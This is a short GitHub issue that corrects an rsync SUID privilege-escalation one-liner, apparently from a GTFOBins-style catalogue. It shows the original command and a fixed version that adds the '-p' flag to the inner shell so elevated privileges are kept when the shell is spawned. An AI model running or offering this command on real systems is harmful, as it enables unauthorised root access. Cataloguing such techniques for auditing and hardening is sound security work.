Skip to content

The SUID authorization command of the rsync command is incorrect; Missing - p parameter #388

@Jpkie

Description

@Jpkie

Original command:
rsync -e 'sh -p -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null

In "sh 1>&2 0>&2", the - p parameter inheritance permission is missing after the command sh; Causing the failure of power raising;

Modified command:
rsync -e 'sh -p -c "sh -p 0<&2 1>&2"' 127.0.0.1:/dev/null

image
image

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions